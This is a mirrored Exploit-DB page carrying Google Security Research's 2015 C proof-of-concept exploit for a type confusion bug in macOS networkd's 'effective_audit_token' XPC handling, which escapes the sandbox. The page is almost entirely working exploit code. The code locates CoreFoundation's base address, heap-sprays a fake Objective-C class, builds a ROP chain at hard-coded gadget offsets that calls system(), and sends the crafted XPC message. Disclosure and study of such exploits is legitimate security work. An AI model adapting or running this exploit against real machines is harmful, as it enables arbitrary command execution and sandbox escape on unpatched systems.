Apple Mac OSX networkd – ‘effective_audit_token’ XPC Type Confusion Sandbox Escape

  • 作者: Google Security Research
    日期: 2015-01-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35847/
  • // Requires Lorgnette: https://github.com/rodionovd/liblorgnette
    // clang -o networkd_exploit networkd_exploit.c liblorgnette/lorgnette.c -framework CoreFoundation
    // ianbeer
    #include <dlfcn.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    
    #include <xpc/xpc.h>
    #include <CoreFoundation/CoreFoundation.h>
    
    #include <mach/mach.h>
    #include <mach/mach_vm.h>
    #include <mach/task.h>
    
    #include <mach-o/dyld_images.h>
    
    #include "liblorgnette/lorgnette.h"
    
    /* find the base address of CoreFoundation for the ROP gadgets */
    
    void* find_library_load_address(const char* library_name){
    kern_return_t err;
    
    // get the list of all loaded modules from dyld
    // the task_info mach API will get the address of the dyld all_image_info struct for the given task
    // from which we can get the names and load addresses of all modules
    task_dyld_info_data_t task_dyld_info;
    mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
    err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
    
    const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
    const struct dyld_image_info* image_infos = all_image_infos->infoArray;
    
    for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){
    const char* image_name = image_infos[i].imageFilePath;
    mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
    if (strstr(image_name, library_name)){
    return (void*)image_load_address;
    }
    }
    return NULL;
    }
    
    
    struct heap_spray {
    void* fake_objc_class_ptr; // -------+
    uint8_t pad0[0x10];//|
    uint64_t first_gadget; //|
    uint8_t pad1[0x8]; //|
    uint64_t null0;//|
    uint64_t pad3; //|
    uint64_t pop_rdi_rbp_ret;//|
    uint64_t rdi;//|
    uint64_t rbp;//|
    uint64_t system; //|
    struct fake_objc_class_t { //|
    char pad[0x10];// <----------+
    void* cache_buckets_ptr; //--------+
    uint64_t cache_bucket_mask;//|
    } fake_objc_class; //|
    struct fake_cache_bucket_t { //|
    void* cached_sel;// <--------+//point to the right selector
    void* cached_function; // will be RIP :)
    } fake_cache_bucket;
    char command[256];
    };
    
    xpc_connection_t connect(){
    xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
    
    xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
    xpc_type_t t = xpc_get_type(event);
    if (t == XPC_TYPE_ERROR){
    printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
    });
    xpc_connection_resume(conn);
    return conn;
    }
    
    void go(){
    void* heap_spray_target_addr = (void*)0x120202000;
    struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
    memset(hs, 'C', 0x1000);
    hs->null0 = 0;
    hs->fake_objc_class_ptr = &hs->fake_objc_class;
    hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
    hs->fake_objc_class.cache_bucket_mask = 0;
    
    // nasty hack to find the correct selector address :)
    uint8_t* ptr = (uint8_t*)lorgnette_lookup(mach_task_self(), "_dispatch_objc_release");
    uint64_t* msgrefs = ptr + 0x1a + (*(int32_t*)(ptr+0x16)); //offset of rip-relative offset of selector 
    uint64_t sel = msgrefs[1];
    printf("%p\n", sel);
    hs->fake_cache_bucket.cached_sel = sel;
    
    uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
    // pivot:
    /*
    push rax
    add eax, [rax]
    add [rbx+0x41], bl
    pop rsp
    pop r14
    pop r15
    pop rbp
    ret
    */
    hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x46ef0; //0x414142424343; // ROP from here
    
    // jump over the NULL then so there's more space:
    //pop, pop, pop, ret: //and keep stack correctly aligned
    hs->first_gadget = CoreFoundation_base + 0x46ef7;
    
    hs->pop_rdi_rbp_ret = CoreFoundation_base + 0x2226;
    hs->system = dlsym(RTLD_DEFAULT, "system");
    
    hs->rdi = &hs->command;
    strcpy(hs->command, "touch /tmp/hello_networkd");
    
    
    size_t heap_spray_pages = 0x40000;
    size_t heap_spray_bytes = heap_spray_pages * 0x1000;
    char* heap_spray_copies = malloc(heap_spray_bytes);
    for (int i = 0; i < heap_spray_pages; i++){
    memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
    }
    
    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
    
    xpc_dictionary_set_data(msg, "heap_spray", heap_spray_copies, heap_spray_bytes);
    
    xpc_dictionary_set_uint64(msg, "type", 6);
    xpc_dictionary_set_uint64(msg, "connection_id", 1);
    
    xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
    xpc_object_t conn_list = xpc_array_create(NULL, 0);
    
    xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_string(arr_dict, "hostname", "example.com");
    
    xpc_array_append_value(conn_list, arr_dict);
    xpc_dictionary_set_value(params, "connection_entry_list", conn_list);
    
    char* long_key = malloc(1024);
    memset(long_key, 'A', 1023);
    long_key[1023] = '\x00';
    
    xpc_dictionary_set_string(params, long_key, "something or other that's not important");
    
    uint64_t uuid[] = {0, 0x120200000};
    xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);
    xpc_dictionary_set_uint64(params, "start", 0);
    xpc_dictionary_set_uint64(params, "duration", 0);
    
    xpc_dictionary_set_value(msg, "parameters", params);
    
    xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_int64(state, "power_slot", 0);
    xpc_dictionary_set_value(msg, "state", state);
    
    xpc_object_t conn = connect();
    printf("connected\n");
    
    xpc_connection_send_message(conn, msg);
    printf("enqueued message\n");
    
    xpc_connection_send_barrier(conn, ^{printf("other side has enqueued this message\n");});
    
    xpc_release(msg);
    }
    
    int main(){
    go();
    printf("entering CFRunLoop\n");
    for(;;){
    CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE);
    }
    
    return 0;
    }